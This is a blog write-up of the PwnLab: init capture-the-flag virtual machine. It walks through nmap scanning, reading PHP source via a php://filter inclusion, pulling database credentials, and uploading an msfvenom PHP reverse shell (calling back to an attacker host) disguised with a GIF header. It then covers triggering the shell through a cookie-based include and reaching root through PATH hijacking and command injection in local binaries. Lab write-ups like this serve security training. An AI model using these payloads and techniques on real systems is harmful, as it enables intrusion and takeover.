Writeups

/***********************/

PwnLab: init


PwnLab: init a Boot2Root virtual machine

Posted by Célio Rodrigues on 2018-02-26

You can download the vulnerable machine from here.

After the lab environment is fully setup let’s find out what dynamic IP was given to our victim by scanning for live hosts on our private network (with -sn option a simple ping is performed).

				 
					# nmap -sn 192.168.32.1/24
					Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-16 19:37 EST
					Nmap scan report for 192.168.32.1
					Host is up (0.00011s latency).
					MAC Address: 00:50:56:C0:00:01 (VMware)
					Nmap scan report for 192.168.32.137
					(...)
				
			

Next step is to do some recon on the victim’s machine by scanning for open ports and running services.

				 
					# nmap -sV 192.168.32.137
					(...)
					PORT     STATE SERVICE VERSION
					80/tcp   open  http    Apache httpd 2.4.10 ((Debian))
					111/tcp  open  rpcbind 2-4 (RPC #100000)
					3306/tcp open  mysql   MySQL 5.5.47-0+deb8u1
					(...)
				
			

Looks like we have an Apache server running on 80. Let’s go check it by navigating to 192.168.32.137 on Firefox. We can see that we have three tabs Home,Login and Upload. Ok...let’s check if login functionality is vulnerable to SQLi with a simple and classic input.

This one got me nothing. I tried more malicious inputs and still...no leaks. Fair enough! Let’s bring the big guns and perform a vulnerability search with nikto.

Got some interesting info here, in particular the login.php file. Looks promising, but how to get it? Notice that when you navigate through the available “pages” (Home, Login,Upload) a GET request is made in the form of http://192.168.32.137/?page=login. First thing that comes into my mind is to check for LFI vulnerability by manipulating parameter page. Once again, tried some classical exemples like:

  • ?page=/etc/passwd
  • ?page=/proc/self/environ

Got me nothing, so LFI is mitigated here and RFI is not working as well. There’s one thing left to try which is the use of PHP filters.

PHP provides a number of miscellaneous I/O streams that allow access to PHP's own input and output streams, the standard input, output and error file descriptors, in-memory and disk-backed temporary file streams, and filters that can manipulate other file resources as they are read from and written to (...)

php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile()file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read.

So If I’m not mistaken this means that it’s possible to change the stream content before the calling function uses it, right? Looking at the LFI cheat sheet I found that PHP filter wrapper allows to retrieve files that system is hosting. Well...let’s try the following.

http://192.168.32.137/?page=php://filter/convert.base64-encode/resource=login

It returns the contents of login.php encoded in base64. Then you can decode it by using.

echo 'returnedBase64string' | base64 -d

Do the same thing for index.php, config.php and upload.php and finally you can take a look at the source code.

Below are the mentioned requests in Burp.

Ok, since we have all the relevant php files used on the web application let’s take a look into login.php first.

Ok...so we can see that an SQL connection is made using the contents of config.php (variables $server, $username, $password and $database are defined there). We can also see that prepared SQL statements (placeholders are binding variables after the compilation of the SQL statement) are used here, that’s why our SQLi didn’t work.

Ok let’s see what is on the Database (credentials are in config.php).

$ mysql -h 192.168.32.137 -u root -p

Let’s take a look at the database (Users) tables. Looks like users is the only table. Select everything from this table then...Got users and passwords(encoded in Base64 and easily reversed). With this credentials we can finally authenticate as one of them.

Let’s use kent’s username and password to login. Once again this passwords are encoded in base64 scheme, so you can easily decode it by using echo 'base64chunk==' | base64 --decode.

After successfull authentication we get an upload functionality. Before trying to upload nonsense things let’s take a look at the upload.php file (previously recovered), it might saves us some time.

We can see that a whitelist tecnhique for extension validition is used here (only .jpg, .jpeg, .gif, .png). The content type is verified too, in order to check if it’s really an image despite of the extension. Nevertheless we can still upload a reverse shell into it and try catch a reversed connection. We can easily spawn a reverse shell by using the following command.

$ msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.32.131 LPORT=1337 -f raw > shell.png

Despite of shell’s extension is .png that per se will not change its Content Type and the file will still be recognized as application/x-php.

Still...we can trick it into thinking that our shell code is really an image by adding GIF98 to the beggining of the file.

But why? Well... If you intercept the code stream using Burp you can see that those first three numbers are the hexadecimal representations of G(47), I(49) and F(46) the next three digits represents the version of GIF. Together they form the header which is recognized by funcion getimagesize (in upload.php) as an image.

After this, upload will be successfull and a listenner can be set to estabalish connection with our reverse-shell. Notice the HTTP response to the above request. It tells us the destination where shell resides on.

Taking a look at the index.php we can see that if ‘lang’ is set on cookie request then we can include whatever we pass to lang on index page.

The vulnerability resides here, and by now it’s obvious what we want to include here. You guessed it, our shell! To do that, just intercept a request to index.php with Burp and send it to repeater in order to tamper the request. Make sure you set up a listener first to catch up the reverse shell connection. I used metasploit to setup my listenner, but you can use netcat as well for example. Now just send the request.

Ok, request was sent and here we have our (limited) reverse shell. Let’s upgrade it using Python. I’ll link you to a great cheat sheet on upgrading ttys instead of explaining it here. Notice that we’re logged as www-data.

Let’s explore the filesystem. After some digging we can see the user’s home folders. We already know their passwords. Let’s su into kane’s account and explore his homefolder. Looks like we have a 32bit ELF file that will execute as mike.

Before executing it (without knowing what it does) let’s try to reverse it. Here I’m using IDA PRO 7.0, you can use gdb as well (I did an scp to get the file on my kali machine in order to use the tools mentioned). After a quick analysis on the assembly code you can see that ‘command’ (cat /home/mike/msg.txt) is pushed into the stack and system is called to execute it.

Even strings msgmike | grep cat will give you a hint on what the executable is doing.

Ok, but cat a file is not a big help to escalate privileges here...but we can make our own version of cat and execute a shell as mike (with its privileges). That would be great! Let's do following.

echo “/bin/sh” > cat

chmod 777 cat

Now execute it. It will yell at you an error like No such file or directory. At first I thought that might be a typing error. It's not...take a look at the environment variable $PATH. As you may know $PATH holds the paths in which executable programs are located (bin/sbin). So it's possible to add our current directory to the $PATH variable, which will trigger the execution of our malicious cat command. The following steps were taken.

Ok, now we're Mike (if you tried to su into Mike's user before while being www-data like I did, you may have notice that it didn't worked).

On Mike's folder there's another 32bit ELF file that we need to reverse engineer.

Ok, this is a little bit trickier...I'll save you the trouble. Basically it’s echoing everything before ‘;’ and executing whatever it comes after it.

A wise choice would be calling /bin/sh to execute right?

Yeah, we got a win here. We are root!!!! Here's the CTF's flag and a pdf of this writeup.